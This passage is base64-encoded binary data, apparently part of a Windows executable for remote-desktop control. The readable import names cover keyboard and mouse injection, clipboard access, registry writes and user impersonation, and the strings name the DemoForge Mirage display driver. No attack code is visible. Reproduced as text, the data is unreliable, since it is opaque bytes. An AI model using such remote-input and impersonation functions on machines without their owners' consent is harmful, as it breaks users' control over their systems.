ALAJPcGVuV2luZG93U3RhdGlvbkEAAKoCU2V0UHJvY2Vzc1dpbmRvd1N0YXRpb24AaAFHZXRQcm9jZXNzV2luZG93U3RhdGlvbgCKAUdldFVzZXJPYmplY3RJbmZvcm1hdGlvbkEAxgJTZXRXaW5kb3dQb3MAAPcARmluZFdpbmRvd0EAMwFHZXRJY29uSW5mbwCuAlNldFJlY3QAIQFHZXREQwBlAlJlbGVhc2VEQwBKAENsb3NlRGVza3RvcAAAggFHZXRUaHJlYWREZXNrdG9wAADnAEVudW1EaXNwbGF5U2V0dGluZ3NBAABCAUdldEtleWJvYXJkU3RhdGUAADADa2V5YmRfZXZlbnQAMQNtb3VzZV9ldmVudAB+AUdldFN5c3RlbU1ldHJpY3MAAJwBR2V0V2luZG93UmVjdAAgAUdldEN1cnNvclBvcwAAvQFJbnRlcnNlY3RSZWN0ANQBSXNSZWN0RW1wdHkAIwFHZXREZXNrdG9wV2luZG93AAAnAk9wZW5EZXNrdG9wQQAA4QBFbnVtRGVza3RvcFdpbmRvd3MAAGICUmVnaXN0ZXJXaW5kb3dNZXNzYWdlQQAArgBEaXNwYXRjaE1lc3NhZ2VBAAAyAlBlZWtNZXNzYWdlQQAAdwJTZW5kTWVzc2FnZUEAADUCUG9zdE1lc3NhZ2VBAAAnA1dhaXRNZXNzYWdlAJsARGVmV2luZG93UHJvY0EAADcCUG9zdFF1aXRNZXNzYWdlAEwCUmVnaXN0ZXJDbGFzc0V4QQAAbQBDcmVhdGVXaW5kb3dFeEEApgBEZXN0cm95V2luZG93AOABSXNXaW5kb3dWaXNpYmxlACYCT3BlbkNsaXBib2FyZABJAENsb3NlQ2xpcGJvYXJkAAAZAUdldENsaXBib2FyZE93bmVyAIcCU2V0Q2xpcGJvYXJkVmlld2VyAAAiAENoYW5nZUNsaXBib2FyZENoYWluAACGAlNldENsaXBib2FyZERhdGEAABYBR2V0Q2xpcGJvYXJkRGF0YQAA1QBFbXB0eUNsaXBib2FyZAAAuwJTZXRUaW1lcgAA4wFLaWxsVGltZXIALQFHZXRGb3JlZ3JvdW5kV2luZG93AKwCU2V0UHJvcEEAAGoBR2V0UHJvcEEAAGgCUmVtb3ZlUHJvcEEALANXaW5kb3dGcm9tUG9pbnQA8wBFcXVhbFJlY3QAlQFHZXRXaW5kb3dMb25nQQAAwwJTZXRXaW5kb3dMb25nQQAA8gBFbnVtV2luZG93cwARAUdldENsYXNzTmFtZUEA6AFMb2FkQ3Vyc29yQQDIAERyYXdJY29uRXgAACMAQ2hhbmdlRGlzcGxheVNldHRpbmdzQQAA6wJTeXN0ZW1QYXJhbWV0ZXJzSW5mb0EABwFHZXRBc3luY0tleVN0YXRlAAAeA1ZrS2V5U2NhbkEAAAUCTWFwVmlydHVhbEtleUEAAPUARXhpdFdpbmRvd3NFeAANAk1lc3NhZ2VCZWVwAFVTRVIzMi5kbGwAAOYARGVsZXRlT2JqZWN0AACnAUdldEJpdG1hcEJpdHMA+wFHZXRPYmplY3RBAAASAkdldFN5c3RlbVBhbGV0dGVFbnRyaWVzADEAQ3JlYXRlRENBAOMARGVsZXRlREMAADQBRXh0RXNjYXBlABMAQml0Qmx0AAAvAENyZWF0ZUNvbXBhdGlibGVCaXRtYXAAADAAQ3JlYXRlQ29tcGF0aWJsZURDAABJAENyZWF0ZVBhbGV0dGUAywFHZXREZXZpY2VDYXBzAMoBR2V0RElCaXRzAA0CR2V0U3RvY2tPYmplY3QAAFwCUmVhbGl6ZVBhbGV0dGUAAHcCU2VsZWN0T2JqZWN0AAB4AlNlbGVjdFBhbGV0dGUANQBDcmVhdGVESUJTZWN0aW9uAAB1AUdkaUZsdXNoAAAiAENvbWJpbmVSZ24AAE8AQ3JlYXRlUmVjdFJnbgBQAENyZWF0ZVJlY3RSZ25JbmRpcmVjdAAKAkdldFJlZ2lvbkRhdGEAR0RJMzIuZGxsAJACUmV2ZXJ0VG9TZWxmAAAwAlJlZ0Nsb3NlS2V5ADcCUmVnQ3JlYXRlS2V5QQBHAlJlZ0RlbGV0ZVZhbHVlQQB9AlJlZ1NldFZhbHVlRXhBAABkAUdldFVzZXJOYW1lQQAAcwFJbXBlcnNvbmF0ZUxvZ2dlZE9uVXNlcgBBRFZBUEkzMi5kbGwAAM8CSGVhcEZyZWUAAMsCSGVhcEFsbG9jABgEUnRsVW53aW5kAOoARW5jb2RlUG9pbnRlcgDKAERlY29kZVBvaW50ZXIAGQFFeGl0UHJvY2VzcwAXAkdldE1vZHVsZUhhbmRsZUV4VwAAZwNNdWx0aUJ5dGVUb1dpZGVDaGFyABEFV2lkZUNoYXJUb011bHRpQnl0ZQB5AkdldFN5c3RlbVRpbWVBc0ZpbGVUaW1lAAQDSXNQcm9jZXNzb3JGZWF0dXJlUHJlc2VudAC1AENyZWF0ZVRocmVhZAAAPgNMb2FkTGlicmFyeUV4VwAAsQNSYWlzZUV4Y2VwdGlvbgAAhgFHZXRDb21tYW5kTGluZUEAAANJc0RlYnVnZ2VyUHJlc2VudAAKA0lzVmFsaWRDb2RlUGFnZQBoAUdldEFDUAAANwJHZXRPRU1DUAAAcgFHZXRDUEluZm8AcwRTZXRMYXN0RXJyb3IAAEoCR2V0UHJvY2Vzc0hlYXAAAGQCR2V0U3RkSGFuZGxlAAAUAkdldE1vZHVsZUZpbGVOYW1lVwAA8QRWaXJ0dWFsUXVlcnkAANMEVW5oYW5kbGVkRXhjZXB0aW9uRmlsdGVyAAClBFNldFVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgDjAkluaXRpYWxpemVDcml0aWNhbFNlY3Rpb25BbmRTcGluQ291bnQAwARUZXJtaW5hdGVQcm9jZXNzAADGBFRsc0ZyZWUAYwJHZXRTdGFydHVwSW5mb1cAGAJHZXRNb2R1bGVIYW5kbGVXAADzAUdldEZpbGVUeXBlANQCSGVhcFNpemUAAFcBRmx1c2hGaWxlQnVmZmVycwAAmgFHZXRDb25zb2xlQ1AAAKwBR2V0Q29uc29sZU1vZGUAAMADUmVhZEZpbGUAAL4DUmVhZENvbnNvbGVXAAATAkdldE1vZHVsZUZpbGVOYW1lQQAApwNRdWVyeVBlcmZvcm1hbmNlQ291bnRlcgDaAUdldEVudmlyb25tZW50U3RyaW5nc1cAAGEBRnJlZUVudmlyb25tZW50U3RyaW5nc1cAaQJHZXRTdHJpbmdUeXBlVwAAZABDb21wYXJlU3RyaW5nVwAALQNMQ01hcFN0cmluZ1cAAIoDT3V0cHV0RGVidWdTdHJpbmdXAABnBFNldEZpbGVQb2ludGVyRXgAANICSGVhcFJlQWxsb2MAhwRTZXRTdGRIYW5kbGUAACQFV3JpdGVDb25zb2xlVwBWBFNldEVudmlyb25tZW50VmFyaWFibGVBAI8AQ3JlYXRlRmlsZVcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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AEAAgAAAAIAAQgCCAAIAgAACAIIAQgACAEIAAAACAAIAAgAAAEAAgAAAAIAAQgACAEAAgABAAIIAAgAAAAAAAAACAAIAAACCAEAAAABCAIAAQACAAAIAAAAAAAIAQACCAAAAAgBCAAAAQgCCAAAAAAAAAIIAQACAAEIAAABAAIIAAgAAAEIAAgBCAAIAAAAAAEIAAgACAIAAAACCAEIAggBAAIAAAAACAAAAAAACAIIAAAACAEIAAABAAIAAAgCAAEAAggACAIAAAgCAAEAAAgBAAAAAAAACAAIAggAAAAAAAgCAAEIAggBCAAIAQAAgCAAAAAgIIAAAAAAgAAggAAgAIAAAAAAgCAgAAAgAICAACAAgAAAgIAAAIAAACAAgCAggIAAIAAAACCAgCAAAAAAAICAAAAAACAggAAgAAAAICAAAAAggIAAIICAICAAgCAAgAAgIAAAACAAgCAAgIAAAACAICCAACAAAAAAAIAAICCAAAAAgIAAIACAIAAAAAAgAAAgIIAAIACAAAAAAAAgAACAACAAgCAggAAgAICAAACAACAAAAAAAACAACCAgCAAgAAAIAAAAACAgCAggIAAAACAICAAACAgAIAAAIAAACCAgCAAgIAgAAAAACCAgCAgAIAAAACAACCAACAgABIIAAgSAAAIEgAACAAAAAgCCAAIEAgAABAIAAASAAAAAAAAAAIIAAACCAAIEggACBAAAAAAAAAIAAgAABAIAAAQAAAAAgAAAAAIAAASCAAIAAAAAAAIAAASAAAIAgAACBAIAAAQAAAIAgAACAAIAAACAAAIAggACBIIAAgQAAAIAAgAABAIAAACCAAIEggACBAAAAAAAAAAAAAAAAIIAAgCAAAIAAgACBAIAAAQAAAAEggACBIAAAgSAAAIAAAACBIIAAgQAAAAEAAAAAIAAAAQCAAAEgAACAIIAAgQCAAAEgAACAIAAAAACAAAEggACAAAAAAACAAAAgAACAIIAAAAEAAAABCAIAAAgCAAEAQgAACAAAAQAAAAAAQAAACAIAAQhAAAAIAAABAAIAAQhAAAEAQgAACEIAAQgAAAAAQAAAAAIAAAhAAAAIQAAAAAAAAQBAAAEIQgABCEIAAQACAAAIQgABAEAAAAAAAAAAQgABCAIAAAACAAAAQgABCAAAAAgAAAEAQgABAAAAAAACAAAAQAAACAIAAQBCAAEIQAABAAIAAABAAAAIQgABCAIAAQhAAAEAAAAAAAIAAAhCAAEIQgABCAAAAABCAAEIQgAACAIAAAAAAAAIQAAAAEIAAQgAAAEAAgABAEAAAAgAAAAAAAAACEAAAQgCAAEAQBAAACAAAEAgAEAAABBAQCAAAEAgEAAAABBAQCAAAEAAAEAAIBBAQAAAAEAAEAAAIBAAQAAAQAAgAAAAIBBAAAAAAAAAEABAABBAACAAQAAAAEBAABBAACAQAAAAEABAIBAAQCAAAAAAEEBAAABAQCAQQAAAAEBAAABAQCAAAAAgAEAAIBAAAAAQAEAgAEBAABBAQCAAAEAAEEAAABAAACAAAEAAAEAAIAAAACAQQAAAEAAAIBBAQCAAQEAAAABAIBBAQAAAQEAgAAAAABAAQCAQAAAAAEAAAAAAQCAQQEAAAEAAABAAQAAQQAAgAAAAAABAQCAAAAAgEABAABBAACAAACAAAgAgBAIIAAQAAAAAAAgAAAIIAAQCCCAAAAggBAIIIAQAACAAAAAAAAIAAAQCAAAAAAAABAIAIAQCCAAAAAgABAIIIAACACAAAAgABAIAAAQAACAEAAggBAIAIAAAACAEAAgAAAIIAAACCCAEAAggAAIAAAAAAAAEAAggAAAAAAQACCAAAAAgAAIIAAQCCAAEAgAgBAIAIAQCAAAAAgAgAAAAAAQACAAEAAAgAAAIIAQCCAAAAgggAAAIIAQCCAAAAgAABAIIIAQAACAEAAggAAAAAAACAAAAAgggBAAAAAACCCAAAAAgBAAIAAACAAAEAAgABAAIAAACACAAQBAAEAAQAAAAAAQAQBAEEAAAABBAEAAQQAAAAAAAABBAAAQAAAAEEEAQBBAAEAQAABAEEEAQBAAAEAAAQAAAAAAABBBAAAAQABAAEEAQAAAAEAQAQAAEAEAABBAAEAQQQBAAAAAAAAAAAAAAQAAEEEAAABAAEAAQQBAEAAAABABAEAQAAAAEAAAQBBAAEAAAQAAAAEAABBAAEAAAQBAEAAAQABBAAAAAQAAAEAAABBBAAAQQAAAAEAAABABAEAAQAAAAAEAQBBBAAAQAQAAAEAAABBAAEAAQQBAAEAAAAABAEAQQABAEAAAQBABAEAAAQBAAAEAABAAAAAAQABAEENCLARCwkgEQAJoBEJCNARCQlAEQAJwBEMCMARDAkwEQMJsBENCOARDwlQEQcJ0BEBCQARAwlwEQ0J4BEFCRARCQmAEQMKABEDCPARBQlgEQ4J0BEHCQARCglwEQQJ8BEMCRARAQmQEQsKABEE1pcmFnZSBEcml2ZXIAAABEZW1vRm9yZ2UgTWlyYWdlIERyaXZlcgBkZm1pcmFnZQAAAAAXUmsGI05YB0D+AxB8/gMQsP4DEPD+AxAI/wAACAAAAAn/AAAJAAAAC/8AAAwAAAAN/wAADQAAABP/AAATAAAAG/8AABsAAAD//wAALgEAACH/AAAZAAAALv8AABUAAABQ/wAAJAEAAFH/AAAlAQAAUv8AACYBAABT/wAAJwEAAFT/AAAoAQAAVf8AACEBAABW/wAAIgEAAFf/AAAjAQAAYP8AACkAAABh/wAALAAAAGL/AAArAAAAY/8AAC0BAABq/wAALwAAAGv/AAADAQAAgP8AACAAAACJ/wAACQAAAI3/AAANAQAAkf8AAHAAAACS/wAAcQAAAJP/AAByAAAAlP8AAHMAAACV/wAAJAAAAJb/AAAlAAAAl/8AACYAAACY/wAAJwAAAJn/AAAoAAAAnP8AACMAAACa/wAAIQAAAJv/AAAiAAAAnf8AAAwAAACe/wAALQAAAJ//AAAuAAAAqv8AAGoAAACr/wAAawAAAKz/AABsAAAArf8AAG0AAACu/wAAbgAAAK//AABvAQAAsP8AAGAAAACx/wAAYQAAALL/AABiAAAAs/8AAGMAAAC0/wAAZAAAALX/AABlAAAAtv8AAGYAAAC3/wAAZwAAALj/AABoAAAAuf8AAGkAAAC+/wAAcAAAAL//AABxAAAAwP8AAHIAAADB/wAAcwAAAML/AAB0AAAAw/8AAHUAAADE/wAAdgAAAMX/AAB3AAAAxv8AAHgAAADH/wAAeQAAAMj/AAB6AAAAyf8AAHsAAADK/wAAfAAAAMv/AAB9AAAAzP8AAH4AAADN/wAAfwAAAM7/AACAAAAAz/8AAIEAAADQ/wAAggAAANH/AACDAAAA0v8AAIQAAADT/wAAhQAAANT/AACGAAAA1f8AAIcAAADh/wAAEAAAAOL/AAChAAAA4/8AABEAAADk/wAAEQEAAOn/AAASAAAA6v8AAKUBAAAAAAAAAAAAAHWYAABzmAAAAN8EEAAAAAAA3wQQAQEAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAWAAAAAgAAAAIAAAADAAAAAgAAAAQAAAAYAAAABQAAAA0AAAAGAAAACQAAAAcAAAAMAAAACAAAAAwAAAAJAAAADAAAAAoAAAAHAAAACwAAAAgAAAAMAAAAFgAAAA0AAAAWAAAADwAAAAIAAAAQAAAADQAAABEAAAASAAAAEgAAAAIAAAAhAAAADQAAADUAAAACAAAAQQAAAA0AAABDAAAAAgAAAFAAAAARAAAAUgAAAA0AAABTAAAADQAAAFcAAAAWAAAAWQAAAAsAAABsAAAADQAAAG0AAAAgAAAAcAAAABwAAAByAAAACQAAAAYAAAAWAAAAgAAAAAoAAACBAAAACgAAAIIAAAAJAAAAgwAAABYAAACEAAAADQAAAJEAAAApAAAAngAAAA0AAAChAAAAAgAAAKQAAAALAAAApwAAAA0AAAC3AAAAEQAAAM4AAAACAAAA1wAAAAsAAAAYBwAADAAAAAwAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAAAAAAAAAgICAgICAgICAg